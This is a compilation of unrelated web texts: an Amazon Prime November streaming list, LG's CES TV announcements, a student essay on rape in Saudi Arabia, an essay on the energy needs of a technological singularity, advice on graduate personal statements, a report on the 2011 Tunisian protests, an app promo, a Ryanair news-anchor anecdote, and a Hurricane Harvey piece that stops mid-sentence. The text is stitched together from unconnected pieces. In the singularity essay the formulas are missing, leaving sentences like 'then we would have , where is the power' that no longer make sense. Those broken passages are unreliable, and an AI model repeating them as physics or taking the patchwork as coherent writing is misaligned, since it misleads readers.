-Domo Arigato, Mrs. Roboto. Photo: Universal Pictures  At the beginning of (and throughout) every month, Amazon Prime and Amazon Instant Video add new movies and TV shows to their libraries. Some of these may also have previously been on Amazon, only to have been removed and then added back. Feel free to note anything we’ve left out in the comments below.  Royal intrigue and hats: Wolf Hall  If you wanted to watch a show about a spoiled man-boy intent on defying the laws of faith and polite society in order to find the right women to bear his children, you’d probably look on TLC. But since Wolf Hall is set in the 1500s, it aired on PBS. Based on Hilary Mantel’s Booker Prize–winning novels, the series follows the exploits of Thomas Cromwell (Mark Rylance, who could win awards off the way he uses his eyebrows alone), personal fixer to the indecisive King Henry VIII (Damien Lewis). Wolf Hall comes with all the diligently accurate period trappings you might expect from the typical Masterpiece production, but it also brings humor and even a dark poignancy to the proceedings, as the members of the court fumble to make sense of sex and intimacy in the public eye.  Available November 10.  Pillage, rinse, repeat: Vikings (Season 3)  The History channel’s Vikings might look like any other medieval sword-and-beard bonanza, but the show’s matured over time and set its sights on the larger issues that stem from the clash of cultures between the Vikings and their enemies in England and France — the natural tensions between military and agricultural societies and polytheistic and monotheistic faiths. But there’s still a lot of swords and beards and blood, because some things are timeless.  Available November 19.  What Amazon wants you to watch: The Man in the High Castle (Season 1)  Philip K. Dick’s alternate history of post–World War II North America, in which Japan and Germany rule over a divided United States, gets a TV adaptation in Amazon’s new drama. Moving with all the terror of dream logic, the series follows a group of rebels and government agents intent on finding the source of a film reel that imagines yet another alternate reality.  Available November 20.  Walk and talk: Top Five (2014)  For anyone who loves movies about two funny people wandering through the city, Chris Rock’s semiautobiographical story about a comedian (Rock) and the reporter profiling him (Rosario Dawson) is can’t-miss entertainment, especially since it features everyone from Leslie Jones to Kevin Hart to Gabrielle Union to Jerry Seinfeld and even Tracy Morgan in supporting roles.  Available November 28.  Do Vikandroids dream of electric sleep? Ex Machina (2015)  A brilliant inventor (Oscar Isaac) invites a young coder (Domhnall Gleeson) to his mountain retreat, where he reveals that he’s working on an advanced piece of artificial intelligence (Alicia Vikander). Alex Garland’s directorial debut has all the anxiety-inducing eeriness of an episode of Black Mirror and all the material to stoke debates on everything from technological ethics to gender politics, but it’s punctuated by a few brief moments of hilarity.  Available November 14.  AVAILABLE ON STREAMING  TELEVISION  Wolf Hall (Mini-series) (November 10)  Mr. Selfridge (Season 3) (November 18)  Vikings (Season 3) (November 19)  The Man in the High Castle (Season 1) (November 20)  Teen Wolf (Season 5a) (November 22)  Falling Skies (Season 5) (November 28)  FILMS  Available November 1  Desk Set (1957)  Eight Crazy Nights (2002)  The Enemy Below (1957)  The Craft (1996)  The Newton Boys (1998)  Available later in November  Tell (2014) (November 5)  Awakenings (1990) (November 5)  The Adventures of Milo and Otis (1986) (November 5)  The Mask of Zorro (1988) (November 5)  Seven Years in Tibet (1997) (November 5)  The Imaginarium of Doctor Parnassus (2009) (November 5)  The Yes Men Are Revolting (2014) (November 7)  Prince (2015) (November 10)  Outrageous Sophie Tucker (2014) (November 11)  The Song (2014) (November 12)  Ex Machina (2015) (November 14)  The Joe Show (2014) (November 15)  Catch Me Daddy (2015) (November 18)  Dying of the Light (2014) (November 19)  Only God Forgives (2013) (November 21)  Kate & Leopold (2001) (November 26)  Top Five (2014) (November 28)  AVAILABLE FOR PURCHASE  TELEVISION  Ballers (Season 1) (November 1)  Inside Comedy (Season 4) (November 2)  7 Deadly Sins (Season 1) (November 2)  Legends (Season 2) (November 3)  Angel rom Hell (Season 1) (November 5)  Mom (Season 3) (November 6)  Elementary (Season 4) (November 6)  My Man Can (Season 1) (November 7)  True Detective (Season 2) (November 9)  Rabbids Invasion (Season 3) (November 10)  You Oughta Know (Season 1) (November 13)  Chicago Med (Season 1) (November 18)  TMNT: Half Shell Heroes Special (Special) (November 23)  Blaze to the Top of the World (Special) (November 24)  Nature Cat (Season 1) (November 26)  Strike Back (Season 4) (TBD)  MOVIES  Toy Story That Time Forgot (2014) (November 3)  Mission Impossible: Rogue Nation (2015) (November 17)  Ricki and the Flash (2015) (November 24)
-As usual, LG has encouraged our speculation by slowly revealing details about many of the new TVs it's bringing to CES and today during its press conference we're finding out the rest, including prices and release windows. First up is its impossibly large 105-inch curved LCD, an ultrawide screen that may actually deliver on its promise of a cinema experience in the home. While this doesn't have a specific release period, LG is anticipating an MSRP of about $70K, so it won't come cheap, but its unique 5,120 x 2,160 resolution is impressive enough to merit consideration -- if you're not convinced don't worry, there are a number of other options. If you're looking for a new OLED TV instead, LG is also setting high-water marks there with its Ultra HD 77-inch curved model. It combines ultra-high resolution with the company's best display technology and high dynamic range algorithm for a picture that should be stunning. Of course, that comes with a similarly eye-popping price of $29,999 when it starts rolling out during the second quarter of this year, but delivering on the promise of one of our favorite displays from last year isn't cheap.  For those that want the latest in TV technology, but prefer a flat viewing surface, LG is also almost ready to deliver its conventionally shaped Gallery OLED TV in the US. The 55-inch EA8800 doesn't have the all the pixels of its predecessors above, but with an MSRP of $8,999, it's a bit closer to our price range and hopefully, new production plants will make the price fall even faster. Of course, there's a possibility that our favorite part of the announcement is the most easily obtained, as LG has revealed that webOS is coming to most of its new Smart TVs this year.  Purchased from HP and adapted to work on TV, the experience begins with a user-friendly tutorial and setup process, and moves on to a connected-TV system that could surpass the others in the field right out of the box. The webOS Launcher is built for multitasking with apps and live TV, all built around the concept of past, present and future. This platform is LG's first compatible with apps built on HTML standards, which should hopefully attract more developers to the platform. We'll have to get our hands on it to verify the company's pledge that it's "Making TV Simple Again," but so far it appears to have a good start -- check after the break for a few more screenshots.
-Saudi Arabia is considered one of the most conservative countries in the world, especially in regard to the status of women. Saudi Arabia is an extreme Islamic country where its legal code is based on Shari’a Law. They therefore believe that there is no separation between church and state and the state’s laws are heavily based on Islamic teachings. Because of this strict Islamic culture, women in Saudi Arabia are treated and acknowledged very differently than the women who live in the west. For example, in Saudi Arabia, there are laws that require women to wear a hijab, a head scarf, as well as dress in loose, long garments that do not show the shape of the woman’s body. To do so would be shameful and secular. There are other laws such as this one that are meant to protect the virtue of women in Saudi Arabia.  Knowing this about Saudi Arabia, I had assumed that women there would be relatively safe since there are such strict laws regarding the protection of a woman’s virtue. I assumed incorrectly when I was studying a WomanStats map that displayed the rape scale of each country in the world. On a scale from one to five, Saudi Arabia had a ranking of a four. I was confused by this since, as briefly described above, Saudi Arabia is considered one of the most conservative countries in the world where women are highly secluded. I would have thought these practices and laws would have decreased the rape rate substantially.  The question I pose then is this, why does Saudi Arabia, one of the most conservative countries in the world have one of the highest rape scales in the world?  While there are many interconnecting reasons why rape occurs so often in Saudi Arabia, I have chosen four possible causes to narrow down the research for this project. The four causes I have chosen are one, a secular society, two, insufficient laws, three, taboos against reporting rape and four, an ineffective judicial system.  Secular Society  The first cause, a secular society, was quickly dismissed because as was mentioned in the introduction, Saudi Arabia is considered one of the most conservative countries in the world. The society of Saudi Arabia is especially conservative when it comes to women. For example, it is illegal for women to drive or intermingle in public with males that are not related to them. It is also illegal for a woman to go out in public without a male-escort who is related to her as well as go out in public without wearing her hijab (WomanStats). Violence or legal prosecution usually ensues if any of these are broken. To further illustrate this point, the following maps show how strict Saudi Arabia is in regard to dress code and intermingling in public laws compared to the rest of the Middle East, a very conservative region itself.  It is clear from these maps that Saudi Arabia has one of the strictest dress codes and intermingling laws in the Middle East which is the most conservative region in the world. Based on these findings, one would sense that these women are highly secluded from society and thereby would be more protected from instances of rape and other forms of violence. On the other hand, one may argue that because women are treated so differently, they could be seen as inferior and thus suffer more abuse because of the lack of secularism.  Insufficient Laws Against Rape  The next probable cause studied was the possibility of insufficient laws against rape in Saudi Arabia. Since there were reported convictions of rapists, it can be assumed that there are laws against rape. Also, Saudi Arabia’s legal code is based on the Shari’a law, which criminalizes rape as punishable by death. However, spousal rape is not included in this criminalization according to Shari’a law. Although these laws exist against rapists, the actual conviction process is complicated and nearly impossible. In order for a perpetrator to be convicted he or she must confess or there must be four witnesses of the act (FreedomHouse). Usually in these certain circumstances, there are only two witnesses present, the perpetrator and the victim. Since it would be hard for a victim to find four witnesses, it is very unlikely that a perpetrator would admit to such a heinous act that he or she could very well get away with. Another example of the insufficient laws against rape is that foreign female domestic workers, which consists of 1.5 million of foreign nationals, receive no protection from the labor laws and are more prone to be victims of abuse. Based on this research, it can be concluded that while there are laws against rape, the actual conviction of rapists is very rare. This could be a plausible cause of the high rape scale since the punishment of such an act hardly occurs.  Taboos Against Reporting Rape  The third possible cause of a high rape scale in Saudi Arabia is the taboos against reporting rape. There are many social stigmas that scare women away from reporting a rape to the police. One social stigma is that in many instances, the law enforcer will accuse the woman of having illicit sex instead of accusing the man of the crime (FreedomHouse). As a consequence of this accusation, societal reprisals take place such as a woman being seen as unfit for marriage or even violently punished for bringing shame to the family. In some extreme cases, honor killings have been committed against women who have been raped (Zoepf). One may wonder why these crimes take place if the laws in Saudi Arabia are supposedly meant to protect women. There is another cultural stigma that plays a role here. In Islamic society, a family’s honor, particularly the male family member’s honor is based on the purity and virtue of the women in their family. If a woman in the family becomes “violated” either by choice or by force, the family’s honor is seemingly stripped from them. It is not so much about the concern over the woman but over the honor of the men. Because of this engrained belief, already victimized women are sometimes further victimized by their own family members. This causes great fear among the women in these types of societies and if one is raped, it is very unlikely that she will report it based on the potential ensuing consequences.  Ineffective Judicial System  The last possible cause studied was an ineffective judicial system. As was mentioned before, Saudi Arabia’s legal code is based on the Shari’s law, an extreme version of the Islamic code. Because of this, women are not given the same rights as men, especially when it comes to the courts. For example, in most cases, women are unable to speak for themselves in court. They must be represented by a male-relative or lawyer. It is considered shameful for a woman to speak to the sheik or judge and is only sometime allowed to do so if her face is covered (WomanStats). Because of this, if a woman is raped, and a man’s honor is based on her virtue, what male relative would want to shed further light on the subject by representing her? Also a man’s testimony is worth two women’s testimonies. So if a woman had four witnesses to testify against the perpetrator, if some of them were women, the number of females would have to be doubled for the accusation to be considered.  Another clause of the judicial system is that most clerics were taught in Wahhabi schools where extreme Islam is taught extensively. Because of this, most clerics demand the seclusion of women and often hold an unforgiving attitude toward accusations of violence against men (WomanStats). A Saudi Arabian attorney even said, “Unfortunately, judges consider women to be lacking in reason and faith, so generally do not agree with her arguments” (HumanRights).  The following stories illustrate the point explained above. The first is about a young girl who was being molested by her father. She went to the courts to file a complaint. The law enforcers did not believe her and told her, her father needed to come in to file the complaint (Economist). The obvious ignorance need not be explained in this situation. The next story tells of a nineteen year-old woman who met a man not related to her in a car. They were both kidnapped by a gang and she was then gang-raped fourteen times. Seven men of the gang were convicted and were sentenced to prison ranging from one to five years. This was a light conviction given they could have received the death penalty according to the law. The woman was also convicted to six months of prison as well as ninety lashes for being associating with a male who was not related to her in public (Harrison). The woman was later pardoned by the King of Saudi Arabia, not because he disagreed with the punishment but because he was being merciful and thought it was best for the whole of the country, not to mention international relations with countries that were in an absolute uproar over the ordeal (Zoepf).  Based on my research I propose that the main perpetrator of the high rape-scale in Saudi Arabia is the lack of conviction of rapists due to the taboos against reporting rape and the ineffective judicial system. If perpetrators are not being punished then there is little incentive to not rape woman if that is the desire. To illustrate how low the conviction rate actually is, in 2002, there were 59 reported rapes out of a population of 26,534,504 (WomanStats) The perpetrators are getting away with a heinous crime and the Saudi Arabian government must pass more effective legislation that enables law enforcers to convict those criminals. The social stigmas will be very difficult to overcome regarding seeing a woman unfit for marriage or taking away the family’s honor because of being raped. However, if women continue to speak up about the issues they face, solutions will come, just as they have in other parts of the world. Also international pressure must always be present to give those women courage to stand up.  —By TS  References  Double indemnity a bizarre application of the law. (2007, Novem 22). The Economist, Retrieved from http://www.economist.com/node/10191773  Eleanor Abdella Doumato, Rowman & Littlefield. (2012, April 4). Freedom House, Saudi Arabia Freedom House Report. Retrieved from http://www.freedomhouse.org/sites/default/files/inline_images/Saudi%20Arabia.p df  Harrison, F. (2007, Novemeber 15). Saudi Gang-Rape Victim is Jailed. BBC. Retrieved from http://news.bbc.co.uk/2/hi/middle_east/7096814.stm  Womanstats project. (n.d.). Retrieved from http://womanstats.org/CodebookCurrent.htm  United States Department of State, Country Reports on Human Rights- Saudi Arabia, 2007  Zoepf, K. (2007, Decem 18). Saudi king pardons rape victim sentenced to be lashed, saudi paper reports.The New York Times. Retrieved from http://www.nytimes.com/2007/12/18/world/middleeast/18saudi.html
-After a recent lecture about the singularity I got asked about its energy requirements. It is a good question. As my inquirer pointed out, humanity uses more and more energy and it generally has an environmental cost. If it keeps on growing exponentially, something has to give. And if there is a real singularity, how do you handle infinite energy demands?  First I will look at current trends, then different models of the singularity.  I will not deal directly with environmental costs here. They are relative to some idea of a value of an environment, and there are many ways to approach that question.  Current trends  Current computers are energy hogs. Currently general purpose computing consumes about one Petawatt-hour per year, with the entire world production somewhere above 22 Pwh. While large data centres may be obvious, the vast number of low-power devices may be an even more significant factor; up to 10% of our electricity use may be due to ICT.  Together they perform on the order of operations per second, or somewhere in the zettaFLOPS range.  Koomey’s law states that the number of computations per joule of energy dissipated has been doubling approximately every 1.57 years. This might speed up as the pressure to make efficient computing for wearable devices and large data centres makes itself felt. Indeed, these days performance per watt is often more important than performance per dollar.  Meanwhile, general-purpose computing capacity has a growth rate of 58% per annum, doubling every 18 months. Since these trends cancel rather neatly, the overall energy need is not changing significantly.  The push for low-power computing may make computing greener, and it might also make other domains more efficient by moving tasks to the virtual world, making them efficient and allowing better resource allocation. On the other hand, as things become cheaper and more efficient usage tends to go up, sometimes outweighing the gain. Which trend wins out in the long run is hard to predict.  Looking at overall energy use trends it looks like overall energy use increases exponentially (but has stayed at roughly the same per capita level since the 1970s). In fact, plotting it on a semilog graph suggests that it is increasing faster than exponential (otherwise it would be a straight line). This is presumably due to a combination of population increase and increased energy use. The best fit exponential has a doubling time of 44.8 years.  Electricity use is also roughly exponential, with a doubling time of 19.3 years. So we might be shifting more and more to electricity, and computing might be taking over more and more of that.  Extrapolating wildly, we would need the total solar input on Earth in about 300 years and the total solar luminosity in 911 years. In about 1,613 years we would have used up the solar system’s mass energy. So, clearly, long before then these trends will break one way or another.  Physics places a firm boundary due to the Landauer principle: in order to erase on bit of information joules of energy have to be dissipated. Given current efficiency trends we will reach this limit around 2048.  The principle can be circumvented using reversible computation, either classical or quantum. But as I often like to point out, it still bites in the form of the need for error correction (erasing accidentally flipped bits) and formatting new computational resources (besides the work in turning raw materials into bits). We should hence expect a radical change in computation within a few decades, even if the cost per computation and second continues to fall exponentially.  What kind of singularity?  But how many joules of energy does a technological singularity actually need? It depends on what kind of singularity. In my own list of singularity meanings we have the following kinds:  A. Accelerating change  B. Self improving technology  C. Intelligence explosion  D. Emergence of superintelligence  E. Prediction horizon  F. Phase transition  G. Complexity disaster  H. Inflexion point  I. Infinite progress  Case A, acceleration, at first seems to imply increasing energy demands, but if efficiency grows faster they could of course go down.  Eric Chaisson has argued that energy rate density, how fast and densely energy get used (watts per kilogram), might be an indicator of complexity and growing according to a universal tendency. By this account, we should expect the singularity to have an extreme energy rate density – but it does not have to be using enormous amounts of energy if it is very small and light.  He suggests energy rate density may increase as Moore’s law, at least in our current technological setting. If we assume this to be true, then we would have , where is the power of the system and is the mass of the system at time t. One can maintain exponential growth by reducing the mass as well as increasing the power.  However, waste heat will need to be dissipated. If we use the simplest model where a radius R system with density radiates it away into space, then the temperature will be , or, if we have a maximal acceptable temperature, . So the system needs to become smaller as increases. If we use active heat transport instead (as outlined in my previous post), covering the surface with heat pipes that can remove X watts/square meter, then . Again, the radius will be inversely proportional to . This is similar to our current computers, where the CPU is a tiny part surrounded by cooling and energy supply.  If we assume the waste heat is just due to erasing bits, the rate of computation will be bits per second. Using the first cooling model gives us – a massive advantage for running extremely hot and dense computation. In the second cooling model : in both cases higher energy rate densities make it harder to compute when close to the thermodynamic limit. Hence there might be an upper limit to how much we may want to push .  Also, a system with mass M will use up its own mass-energy in time : the higher the rate, the faster it will run out (and it is independent of size!). If the system is expanding at speed v it will gain and use up mass at a rate ; if grows faster than quadratic with time it will eventually run out of mass to use. Hence the exponential growth must eventually reduce simply because of the finite lightspeed.  The Chaisson scenario does not suggest a “sustainable” singularity. Rather, it suggests a local intense transformation involving small, dense nuclei using up local resources. However, such local “detonations” may then spread, depending on the long-term goals of involved entities.  Cases B, C, D (intelligence explosions, superintelligence) have an unclear energy profile. We do not know how complex code would become or what kind of computational search is needed to get to superintelligence. It could be that it is more a matter of smart insights, in which case the needs are modest, or a huge deep learning-like project involving massive amounts of data sloshing around, requiring a lot of energy.  Case E, a prediction horizon, is separate from energy use. As this essay shows, there are some things we can say about superintelligent computational systems based on known physics that likely remains valid no matter what.  Case F, phase transition, involves a change in organisation rather than computation, for example the formation of a global brain out of previously uncoordinated people. However, this might very well have energy implications. Physical phase transitions involve discontinuities of the derivatives of the free energy. If the phases have different entropies (first order transitions) there has to be some addition or release of energy. So it might actually be possible that a societal phase transition requires a fixed (and possibly large) amount of energy to reorganize everything into the new order.  There are also second order transitions. These are continuous do not have a latent heat, but show divergent susceptibilities (how much the system responds to an external forcing). These might be more like how we normally imagine an ordering process, with local fluctuations near the critical point leading to large and eventually dominant changes in how things are ordered. It is not clear to me that this kind of singularity would have any particular energy requirement.  Case G, complexity disaster, is related to superexponential growth, such as the city growth model of Bettancourt, West et al. or the work on bubbles and finite time singularities by Didier Sornette. Here the rapid growth rate leads to a crisis, or more accurately a series of crises increasingly rapidly succeeding each other until a final singularity. Beyond that the system must behave in some different manner. These models typically predict rapidly increasing resource use (indeed, this is the cause of the crisis sequence as one kind of growth runs into resource scaling problems and is replaced with another one), although as Sornette points out the post-singularity state might well be a stable non-rivalrous knowledge economy.  Case H, an inflexion point, is very vanilla. It would represent the point where our civilization is halfway from where we started to where we are going. It might correspond to “peak energy” where we shift from increasing usage to decreasing usage (for whatever reason), but it does not have to. It could just be that we figure out most physics and AI in the next decades, become a spacefaring posthuman civilization, and expand for the next few billion years, using ever more energy but not having the same intense rate of knowledge growth as during the brief early era when we went from hunter gatherers to posthumans.  Case I, infinite growth, is not normally possible in the physical universe. Information can as far as we know not be stored beyond densities set by the Bekenstein bound ( where bits per kg per meter), and we only have access to a volume with mass density , so the total information growth must be bounded by . It grows quickly, but still just polynomially.  The exception to the finitude of growth is if we approach the boundaries of spacetime. Frank J. Tipler’s omega point theory shows how information processing could go infinite in a finite (proper) time in the right kind of collapsing universe with the right kind of physics. It doesn’t look like we live in one, but the possibility is tantalizing: could we arrange the right kind of extreme spacetime collapse to get the right kind of boundary for a mini-omega? It would be way beyond black hole computing and never be able to send back information, but still allow infinite experience. Most likely we are stuck in finitude, but it won’t hurt poking at the limits.  Conclusions  Indefinite exponential growth is never possible for physical properties that have some resource limitation, whether energy, space or heat dissipation. Sooner or later they will have to shift to a slower rate of growth – polynomial for expanding organisational processes (forced to this by the dimensionality of space, finite lightspeed and heat dissipation), and declining growth rate for processes dependent on a non-renewable resource.  That does not tell us much about the energy demands of a technological singularity. We can conclude that it cannot be infinite. It might be high enough that we bump into the resource, thermal and computational limits, which may be what actually defines the singularity energy and time scale. Technological singularities may also be small, intense and localized detonations that merely use up local resources, possibly spreading and repeating. But it could also turn out that advanced thinking is very low-energy (reversible or quantum) or requires merely manipulation of high level symbols, leading to a quiet singularity.  My own guess is that life and intelligence will always expand to fill whatever niche is available, and use the available resources as intensively as possible. That leads to instabilities and depletion, but also expansion. I think we are – if we are lucky and wise – set for a global conversion of the non-living universe into life, intelligence and complexity, a vast phase transition of matter and energy where we are part of the nucleating agent. It might not be sustainable over cosmological timescales, but neither is our universe itself. I’d rather see the stars and planets filled with new and experiencing things than continue a slow dance into the twilight of entropy.  …contemplate the marvel that is existence and rejoice that you are able to do so. I feel I have the right to tell you this because, as I am inscribing these words, I am doing the same.  – Ted Chiang, Exhalation
-Personal Statements  When I’m writing a letter of recommendation for an undergraduate applying for graduate school (one of the many parts of my job for which I have received no training and my skill in which has never been assessed by anyone), I pretty much always want to look at the personal statement (or, their answers to the program-specific questions which many professionally-oriented programs ask). If I don’t know the student really well, the personal statement helps me write the letter, just because it keeps them fully in my head; and if I do know the student really well it seems wrong not to offer to comment on/offer editorial advice, especially if I know (as I often do) that the student doesn’t have a parent who will be able confidently to do this. For all I know my own confidence is misplaced, but I don’t think it is – I have read thousands of personal statements over the years {mainly for nursing school, clinical psych, teacher ed, school counseling, medical school and law school and, of course, philosophy), and although I only know directly what other people (my immediate philosophy colleagues) think about the statements of students who apply to Philosophy PhD programs, I have observed the fate of those students whose statements I’ve looked at.  The main thing I want to say about personal statements is that in my experience many candidates agonize over them and spend far too much time trying to get them exactly right. In philosophy the main purpose of the personal statement is to convey that you know what you are doing, that you are genuinely interested in the program you’re applying to, and that you are not a complete flake. Some people, it is true, have genuinely interesting stories behind their desire to X, whatever it is, but most really don’t.[1] But they usually seem compelled to tell a story as compellingly as possible. Here’s a quote from a recent email (used with permission):  Hi Brighouse, I hope you had a nice weekend and that you have a good week ahead of you! I wanted to email you to ask for your help with my personal statements. I have spent a lot of time attempting to write some of them and I am really struggling. They feel very cliched to me and I am not sure how to make myself stand out as an applicant in so few words!  Actually, what she sent me was better than she thought, but I’d guess it would have been still better, and less stressful, if she’d had a good sense of what to do. Here’s the advice I’ve been giving recently, roughly, and obviously tailored to the specific student to whom I’m writing (in addition to specific advice about what they have written). To be honest, I usually give this advice only after they’ve already agonized a bit – I hereby resolve to start telling them ahead of time.  1. The personal statement will rarely affect whether or not you get in. Mostly that will be your letters of rec, resume, grades (and GRE and writing sample, if those are applicable). Helping your recommenders write letters that really represent you is a much more valuable use of your time than turning an ok statement into a good one. Stop stressing out about it.  2. If you have an amazing story, tell it. But don’t try to invent one, or to make a rather boring story (like mine) sound amazing. Tell the committee i) why you want to become (say) a nurse; ii) what qualifies you for their program iii) what will make you a good (say) nurse; iv) why you are interested in their program in particular; v) what you specifically think you have to learn.  3. Someone else might be able to tell you qualities you have that suit you to the profession in question if you can’t figure it out yourself – e.g., in the case of the student whose email I quote above, she had said something about herself in the draft statement that seemed both negative and false; and I was able (easily) to tell her a positive truth about herself that, when she wrote it in the revised statement, nevertheless did not seem self-aggrandizing.  4. If there is something in your transcript or resume that looks weak, and you have a good explanation for it, the ideal thing to do is i) ask your lead letter writer to mention and explain it and ii) mention in your statement that they will explain it. If someone else explains a weakness, it is much less likely to come over as special pleading or excuse-making.  5. Don’t use lots of adverbs and adjectives. Don’t use colloquialisms. Don’t actually try to use clichés, but do relax a bit about them – mostly your statement is not going to stand out from the crowd, and that’s ok! Stand out from the crowd once you are there, if you want to.  6. Be direct and straightforward, without being self-denigrating.  7. Make sure you stay within the word limit. Get someone skilled (who might be me) to look it over, and suggest edits which save you words.  8. Give yourself a time limit. Remind yourself that the chances this will make a difference to your prospects are small. If it is truly awful that might sink you (so get someone like me to read it to ensure that it is not truly awful); if it is good enough, then making it better is unlikely to yield much benefit.  Any amendments, revisions, contrary advice, would be welcome.  [1] I don’t. I encountered Philosophy in secondary school, and decided that, unlike History, I’d never learn how to read Philosophy unless someone taught me. I went to graduate school because I liked doing Philosophy and couldn’t think what else to do. Then I became a professor because I was not imaginative or bold enough to go work for dissidents in Russia during the waning months of perestroika (really, a left wing dissident member of the Moscow City Soviet asked me to come and work for him).
-Police in Tunis opened fire and shot tear gas in the air as stone-throwing youths breached a curfew and surrounded government buildings.  At least three people were reportedly killed, bringing to more than 60 the number said by human rights groups to have died in a wave of unrest in what was previously seen as one of the Arab world's most stable and prosperous countries.  Four more people had already been shot and killed in Tunis's suburbs on Wednesday night.  President Zine al-Abidine Ben Ali, 74, who has been in power since he overthrew his predecessor in 1987 sacked the interior minister on Wednesday but failed to quell calls for his resignation.  On Thursday night Mr Ben Ali attempted to pacify protesters by saying in a television address that he would not change the constitution to allow him to run again when his term expires in 2014. He also ordered his security forces to stop using firearms against protesters and said prices for sugar, milk and bread would be reduced.  However, as the president was speaking, promising an end to force, two people were killed as police opened fire on protesters, witnesses said.  Hillary Clinton ended a tour of the Gulf with a warning that leaders who failed to carry out political and economic reform risked being cast aside.  "In too many places, in too many ways, the region's foundations are sinking into the sand," she said.  "Those who cling to the status quo may be able to hold back the full impact of their countries' problems for a little while, but not forever.  "If leaders don't offer a positive vision and give young people meaningful ways to contribute, others will fill the vacuum."  Protests over unemployment and food prices have also broken out in Algeria, Jordan and even Saudi Arabia in recent weeks, all countries with a high proportion of young people, many well-educated but jobless.  Egypt, the most populous Arab country, has been hit by sectarian violence while also facing a growing Islamist opposition.  While Mr Ben Ali has not only supported the United States and implemented free market reforms, opposition activists complain that the only people to benefit have been Mr Ben Ali's family and cronies.  Diplomatic cables released by Wikileaks gave an American assessment that corruption was getting worse.  "Whether it's cash, services, land, property, or yes, even your yacht, President Ben Ali's family is rumoured to covet it and reportedly gets what it wants," said Robert Godec, the ambassador.  Recent violence began after a young graduate, Mohamed Bouazizi, killed himself by setting himself alight in the town of Sidi Bouzid last month. He had been forced to become a fruit and vegetable seller through lack of work, but his stall was confiscated as he did not have a licence.  After another young man killed himself by touching an electric cable while shouting "no for misery, no for unemployment", youths took to the streets, smashing shops and setting fire to cars. The protests spread across the country encouraged by Facebook sites and Twitter accounts dedicated to the men's memory.  Youtube videos show young men tearing down some of the huge posters of Mr Ben Ali that adorn public buildings and setting light to them.  Egypt, where President Hosni Mubarak has ruled for 30 years, Jordan and Saudi Arabia, governed by monarchies, and Yemen, whose president has been in power since 1978, are all central to US policies in the Middle East. But they have also faced recent protests from overwhelmingly young populations.  Lahcen Achy, an economist with the Carnegie Endowment, said Tunisia was a special case because the high level of education it had given its young was at such odds with the lack of political and economic opportunity.  But he said neighbours faced their own problems. "The risk for Egypt and other countries might come from rising food prices," he said. "I think that all the governments in the region are thinking about what kind of announcements to make. They will try to make concessions before it is too late."
-All-In-One Messenger App for Windows 10. Use Facebook Messenger, Skype, Slack, WhatsApp Web and many more with this App. Get Notification when someone messaged you*! Set your own Personal password or use Windows Hello so that no one can access your app without your permission.  All-In-One App for Most Famous Social websites. With an Exclusive Dark Mode for Facebook Messenger, Skype. you can enjoy it even more!  Sometimes it’s hard to connect with everyone to see their messages on different apps or websites. One Messenger solve this problem, you can chat with your friends on Skype, FB Messenger, WhatsApp without having to switch to different app or websites on PC.  Well you can say it is a web wrapper but it will give you more personalized web experience than just opening websites in your Browser! You can try it yourself and I am sure you’ll like it! You will also get Notifications* when you get messages from facebook messenger, skype, Group me… We also have bunch to settings to personalize your experience, all you want!  Gallery  Beautifully Designed for Windows 10. It also gives you better privacy protection than your browser because you are using it sandboxed(safer) mode which is secure than most browser. We assure you that we don’t save any kind of information about you. We store nothing about you. All are saved in your own machine if it is needed to be saved!  One Messenger let you view sites side by side without having to switch!  One Messenger Helps you to Connect to everyone easily and efficiently . You will never have to go to different apps to use them! You don’t have to sign-in every time you open One Messenger too.  Give it a try, Maybe you will love it!  If you have any feedback about the app, Please contact us via mail or via twitter, we will love to hear your feedback!  One Messenger Developer: Define Studio Price: Free+  *Due to limitations, this app does not have all the capabilities you might expect from a native app. The app must be running to receive notifications.  As said above We do not save Any information about you, You can See our Privacy Policy Below. if you are still concerned about the privacy policy Mail us and we will do our best to explain you!  Thank You!
-The incident took place on the Thursday evening edition of Aktuellt, the flagship primetime news programme of public broadcaster Sveriges Television (SVT).  After delivering a no-nonsense introduction to a segment on O'Leary's denial of allegations that the budget airline had poor working conditions, anchor Nike Nylander was unable to keep a straight face when the camera returned to her.  The reason?  The taped segment showed the colourful Ryanair CEO invoking the gestures and speech of a ghost in his attempt to illustrate that the complaints of poor labour conditions at the airline amounted to nothing but a fabrication.  "False, false, and misleading information, provided by people sitting in darkened rooms... ooohh," O'Leary said in the piece, waving his hands in the air.  "Anonymous pilots...oooohhhh... cause we're so terrified oooohhhh."  As Nylander began to read her script following the clip, she was overcome with laughter.  "It was just totally absurd, it was so surprising that I just couldn't believe it," Nylander told The Local.  "It was the way Mr O'Leary impersonated a ghost doing the whole 'oooohhh' thing... The fact that CEO of big corporation does that when talking about working conditions of his employees just made me laugh."  Since the airing of the programme, Nylander has been flooded with warm messages from viewers around the country, many saying they're glad to see a newsreader with a human side.  But the veteran news anchor took her gaffe in stride, taking to Twitter to thank viewers who had shown their appreciation for the unexpected dose of humour she had brought to the evening newscast.  "Thanks for all the kind shout outs after my laugh attack tonight. It feels a bit better thanks to you," Nylander wrote.  Tack för alla snälla tillrop efter min skrattattack ikväll. Det känns lite bättre tack vare er :-) — Nike Nylander (@NikeNylander) August 29, 2013  While Nylander claims it was the first time she has burst out laughing during a news programme, she is adamant it will be the last.  "I'm usually in control, most of the news I read is very serious. While it's unprofessional, it could have been worse," she said with a laugh.  "I'm not sure if I hurt Mr O'Leary's feelings, but I'm glad to have put a smile on people's faces and kept them laughing."  The Local/dl  Follow The Local on Twitter
-Hurricane Harvey, currently a Category Two hurricane but getting worse, is predicted to make landfall in Texas late Friday or early Saturday. 1.5 million people are under a hurricane warning, residents are being urged to evacuate, and swathes of southern Texas could be “uninhabitable for weeks or months,” the National Weather Service has said.  With all that going on, keeping cell service up and running probably wouldn’t rank high on your list of priorities. But ensuring connectivity is a vital piece of the puzzle that can keep everything else working. First responders and local government often use cellphones for communication, and trying to manage a complex operation without signal can make the job far harder. Plus, a functioning cell network can help family and friends find each other and communicate with worried relatives.  Verizon takes its role in providing communications during natural disasters particularly carefully. In preparation for Hurricane Harvey, they’ve staffed up a 24/7 emergency command center, prepared to bring in engineers from different parts of the country to help, and started moving some of its considerable fleet of emergency vehicles and portable cell sites into position.  Preparation for handling a natural disaster really starts with the design of the network. “If you’ve waited this long to prepare your network — if you’ve waited until a storm’s on the way — there’s absolutely no way you can be as prepared as you need to be,” Leo Perreault, Verizon’s Executive Director of Operations in the Texas area told me. Verizon starts by engineering its network with redundancy and preparedness in mind. Network switches, the most important core of the network, are built to withstand almost anything.  In Florida, for example, “super-switches” are built to withstand the strongest winds. Those switch locations boast tilt wall block construction built 